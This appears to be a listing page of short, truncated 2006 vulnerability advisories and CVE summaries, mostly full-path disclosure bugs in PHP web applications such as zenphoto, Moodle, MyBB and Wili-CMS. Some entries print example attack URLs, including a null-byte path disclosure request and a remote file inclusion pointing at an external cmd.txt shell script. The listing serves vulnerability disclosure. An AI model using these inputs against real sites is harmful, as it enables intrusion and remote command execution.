zenphoto1.0.2.txt

Vendor: zenphoto Vulnerable: zenphoto 1.0.2 beta and below The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta. Path Disclosure --------------- http://www.example.com/photos/zen/i.php?a=EXISTINGALBUMNAME&i=EXISTINGIMAGENAME&s=thumb%00 which returns: Warning:...

CMScontenido-path.txt

CMS contenido Path Disclosure Affected Software .: CMS contenido download..: http://www.contenido.org/opensourcecms/en/index-a-104.html Risk ..............: high Found by ..........: CvIr.System Contact ...........: CvIr.Systematgmail.com Affected File: /conlib/.inc Explicasion:...

CMS contenido Path Disclosure

CMS contenido Path Disclosure Affected Software .: CMS contenido download..: http://www.contenido.org/opensourcecms/en/index-a-104.html Risk ..............: high Found by ..........: CvIr.System Contact ...........: CvIr.Systematgmail.com Affected File: /conlib/.inc Explicasion:...

Iono all version fullpath disclosure

Iono is payment system is provided by http://olate.co.uk Google search keyword: Powered by iono I checked newest version and show more files are in error: http://domain/path/templates/iono/admin/denied.tpl.php http://domain/path/templates/iono/admin/index.tpl.php ........ All file in...

zenphoto Multiple Path Disclosure and Cross Site Scripting Vulnerabilities

Vendor: zenphoto Vulnerable: zenphoto 1.0.2 beta and below The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta. Path Disclosure --------------- http://www.example.com/photos/zen/i.php?a=EXISTINGALBUMNAME&i=EXISTINGIMAGENAME&s=thumb00 which returns: Warning:...

CVE-2006-4971

CVE-2006-4971 affects MyBB (MyBulletinBoard). A direct request to inc/plugins/hello.php allows remote attackers to trigger an error message that reveals the server path, exposing sensitive information. Impact: partial confidentiality. CVSS v2 base score: 5.0 (MEDIUM) . The supplied documents do n...

CVE-2006-4976

The Date Library in John Lim ADOdb Library for PHP allows remote attackers to obtain sensitive information via a direct request for 1 server.php, 2 adodb-errorpear.inc.php, 3 adodb-iterator.inc.php, 4 adodb-pear.inc.php, 5 adodb-perf.inc.php, 6 adodb-xmlschema.inc.php, and 7 adodb.inc.php; files ...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

CVE-2006-4939

CVE-2006-4939 affects Moodle prior to 1.6.2. The vulnerable component is backup/backup_scheduled.php. The issue is that when debugging is disabled, the code generates trace data that includes the full backup pathname, potentially letting an attacker obtain the pathname. The impact is partial conf...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

Google Mini Search Applicance Path Disclosure

aushack.com - Vulnerability Advisory ----------------------------------------------- Release Date: 22-Sep-2006 Software: Google Inc - Google Mini Search Appliance http://www.google.com.au/enterprise/mini/index.html "The Google Mini delivers cost-effective, high-quality search for your public...

Multiple CA eTrust Security Command Center / eTrust Audit security vulnerabilities

Path disclosure, directory traversal, replay attacks...

jevoncms (.inc) Path Disclosure

jevoncms .inc Path Disclosure Affected Software .: jevoncms download..: http://sourceforge.net/project/showfiles.php?groupid=91794 Class .............: Path Disclosure Risk ..............: high Found by ..........: CvIr.System Contact ...........: CvIr.Systematgmail.com Affected File:...

CVE-2006-4899

CVE-2006-4899 affects CA eTrust Security Command Center (SCC) 1.0 and r8 up to SP1 CR2 on Windows. The ePPIServlet script’s PIProfile function leaks the web server path via a single quote in an error message, enabling remote attackers to discover the server path. This vulnerability’s impact is th...

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...

Wili-CMS 0.1.1 - Remote File Inclusion / Cross-Site Scripting / Full Path Disclosure

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure

source: https://www.securityfocus.com/bid/20139/info CA eTrust Security Command Center eSCC and eTrust Audit are prone to multiple vulnerabilities, including: - an information-disclosure issue - an arbitrary-file-deletion issue - a replay issue. These vulnerabilities occur because the software...

[RLSA_02-2006] OSU httpd for OpenVMS path and directory disclosure - is this a bug or a feature?

rfdslabs security advisory Title: OSU httpd for OpenVMS path and directory disclosure - is this a bug or a feature? RLSA02-2006 Versions: OSU/3.11alhpa, OSU/3.10a probably others Vendor: David Jones, Ohio State University http://www.ecr6.ohio-state.edu/www/doc/serverinfo.html Date: 18 May 2006...

OSU HTTP Server 3.10/3.11 - Multiple Information Disclosure Vulnerabilities

source: https://www.securityfocus.com/bid/20098/info OSU Ohio State University HTTP server is prone to multiple information-disclosure vulnerabilities. This may allow a malicious user to gain access to sensitive data; information gained may aid in further attacks. Versions 3.11a and 3.10a are...